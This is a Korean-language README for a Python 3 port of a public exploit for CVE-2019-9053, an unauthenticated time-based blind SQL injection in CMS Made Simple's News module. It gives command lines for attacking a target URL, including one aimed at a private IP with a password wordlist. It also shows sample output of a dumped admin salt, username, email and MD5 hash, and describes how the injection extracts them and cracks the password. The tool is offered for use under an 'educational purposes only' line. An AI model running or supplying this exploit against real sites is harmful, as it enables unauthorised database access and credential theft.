
CMS Made Simple CVE-2019-9053 익스플로잇 (Python 3)
CMS Made Simple <= 2.2.9를 대상으로 하는 시간 기반 블라인드 SQL 인젝션 익스플로잇의 Python 3 포팅 버전입니다.
원본 익스플로잇: Daniele Scanu @ Certimeter Group
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2019-9053 |
| 영향받는 소프트웨어 | CMS Made Simple <= 2.2.9 |
| 취약점 유형 | 인증 불필요 시간 기반 블라인드 SQL 인젝션 |
| 공격 벡터 | 네트워크 (인증 불필요) |
| 파라미터 | News 모듈의 m1_idlist |
News 모듈은 m1_idlist GET 파라미터를 적절히 정제하지 않아, 인증되지 않은 공격자가 시간 지연을 이용해 데이터베이스에서 민감한 데이터를 한 글자씩 추출할 수 있습니다.
pip install requests termcolor
python3 CVE-2019-9053_py3.py -u http://target/cms
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt
python3 CVE-2019-9053_py3.py --help
| 플래그 | 설명 |
|---|---|
-u, --url | 대상 CMS Made Simple 설치의 기본 URL |
-w, --wordlist | 비밀번호 크래킹에 사용할 워드리스트 파일 경로 |
-c, --crack | 비밀번호 크래킹 모드 활성화 (-w 필요) |
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt
예상 출력:
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123
cms_siteprefs 테이블에서 sitemask 값(비밀번호 salt)을 조회합니다cms_users에서 user_id = 1의 사용자 이름을 추출합니다cms_users에서 user_id = 1의 이메일을 추출합니다cms_users에서 user_id = 1의 MD5 비밀번호 해시를 추출합니다MD5(salt + wordlist_entry)를 계산하고 덤프된 해시와 비교합니다인젝션은 SELECT SLEEP(N)을 사용하여 각 문자를 추론합니다 — 응답이 지연되면 추측한 문자가 올바른 것입니다.
팁: 스크립트가 느리거나 불안정하다면, 네트워크 지연을 고려하여 스크립트 내부의
TIME변수를 늘리세요.
| 변경 사항 | 세부 정보 |
|---|---|
print 문 | print() 함수로 변환 |
optparse | argparse로 대체 (optparse는 Python 3에서 사용 중단됨) |
hashlib.md5() | 입력이 이제 .encode('utf-8')을 통해 바이트로 인코딩됨 |
| 파일 읽기 | .readlines()를 with 블록과 .strip()으로 대체 |
이 프로젝트는 교육 목적으로만 사용됩니다. 라이선스 조건은 Exploit-DB의 원본 익스플로잇을 참조하세요.